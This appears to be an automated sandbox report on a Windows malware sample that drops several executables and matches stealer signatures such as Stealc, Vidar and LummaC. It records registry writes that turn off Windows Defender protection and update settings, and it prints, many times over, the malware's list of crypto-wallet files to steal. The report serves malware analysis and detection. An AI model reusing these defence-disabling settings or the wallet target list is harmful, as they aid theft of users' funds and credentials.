Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010358001\82d9128a9d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010358001\82d9128a9d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010359001\76ee5543cc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010359001\76ee5543cc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4D35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4D35A0

Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 43cdd8ad97.exe, 00000011.00000003.3172841206.0000000000E86000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3255085909.0000000000D61000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 44.2.skotes.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.EBFHJEGDAF.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2676839674.00000000009E1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.3321976741.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.3271435365.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2731282845.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2690741970.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2635970230.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2682849149.0000000005710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000014.00000003.2958747592.0000000001853000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3125854620.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fd549fc84a.exe PID: 1900, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 43cdd8ad97.exe PID: 8184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 43cdd8ad97.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000012.00000002.2949039124.0000000000FD1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3061560416.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2642547892.000000000082E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2903220212.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079497513.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2643149920.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3153209613.0000000000777000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3154929819.0000000000FD1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2948364302.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 998d30a932.exe PID: 6408, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2172, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
